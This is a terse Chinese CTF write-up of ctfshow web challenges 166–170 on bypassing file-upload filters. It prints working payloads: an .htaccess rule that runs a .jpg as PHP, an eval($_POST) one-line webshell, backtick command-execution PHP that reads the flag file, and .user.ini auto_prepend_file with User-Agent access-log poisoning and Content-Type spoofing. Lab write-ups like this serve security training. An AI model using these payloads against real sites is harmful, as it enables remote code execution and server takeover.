ctfshow——web入门166~170
web入门166
这题是让我们上传一个zip压缩包，然后可以下载该压缩包，下载时zip文件会进行文件包含，也就是include
首先先随便找一个文件压缩，然后记事本打开写入一句话木马
之后上传文件，点击下载文件时用bp抓包
发送给重发器
（这里如果用get提交的话是不能有空格的，我们可以用+来代替）
web入门167
上传jpg
.htaccess：
.htaccess被称为超文本入口，此文件有多个功能，其中一个功能可以改变文件扩展名，同时也可以实现文件夹密码保护、用户自动重定向、自定义错误页面等功能。
payload:
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这个大概意思是1.jpg会被当做php文件执行
接下来我们在1.jpg文件中插入我们的恶意代码
:
<?= eval($_POST[1]);?>
然后再上传1.jpg
接着点击下载文件，复制url（如https://0f5f07f4-02dc-46b0-8a60-69556a9a1d8c.challenge.ctf.show/upload/1.jpg），蚁剑连接
web入门168
png形式
然后我们通过测试发现可以使用`
那么步骤如下：
上传文件抓包，<?=`ls ../`;?>
访问/upload/9.php
然后这次的flag再flagaa.php中
直接和上面一样
<?=`tac ../flagaa.php`?>
访问
web入门169
要求zip
这里我们还是用到.uers.ini
文件内容：auto_prepend_file=/var/log/nginx/access.log
但是：
直接这样发送，发现无法上传，文件类型错误
然后因为accept为image
所以我们还需要将Content-Type改成image/png
成功上传
然后如果我们直接访问。upload，会显示403无php文件，所以我们上传一个php文件
明显是UA，那就直接插入UA头
web入门170
这题和上题一样
上传.user.ini文件
上传php文件
成功访问：
